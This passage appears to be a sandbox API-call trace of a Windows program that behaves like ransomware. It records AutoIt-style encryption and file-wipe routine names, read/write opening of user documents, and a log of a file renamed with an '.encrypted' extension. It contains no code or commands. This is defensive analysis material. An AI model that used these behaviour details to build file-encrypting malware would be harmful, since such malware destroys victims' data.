lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.905] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.905] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.905] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.906] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.906] CharLowerBuffW (in: lpsz="byte[7159]", cchLength=0xa | out: lpsz="byte[7159]") returned 0xa [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.906] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.906] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.906] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.907] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.907] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.907] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.907] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.907] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.908] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.909] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.909] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.909] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.909] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.910] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.910] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.910] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.911] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.911] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.911] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5787) returned 1 [0025.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.912] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x169b, lpOverlapped=0x0) returned 1 [0025.912] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x169b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.912] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5787) returned 1 [0025.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.encrypted.pptx\r\n", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0025.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.encrypted.pptx\r\n", cchWideChar=64, lpMultiByteStr=0xe8f40514a0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\XfT-x_yFlDeI9HE.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 64 [0025.912] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051680*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051680*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3f, lpOverlapped=0x0) returned 1 [0025.912] CloseHandle (hObject=0x1fc) returned 1 [0025.915] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.915] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.915] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.915] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.915] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.915] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.915] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.916] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.917] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.917] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.917] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.xlsx", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.xlsx", cchWideChar=51, lpMultiByteStr=0xe8f404bdd0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.xlsx", lpUsedDefaultChar=0x0) returned 51 [0025.917] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\ybk9km-2tdyzmn.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0025.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=51, lpWideCharStr=0xe8f4061c30, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ybk9kM-2tDyzmN.xlsx") returned 51 [0025.918] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.918] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.918] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.919] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.919] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.919] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.919] CloseHandle (hObject=0x1fc) returned 1 [0025.919] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.919] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.919] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.920] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.920] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.920] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.920] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 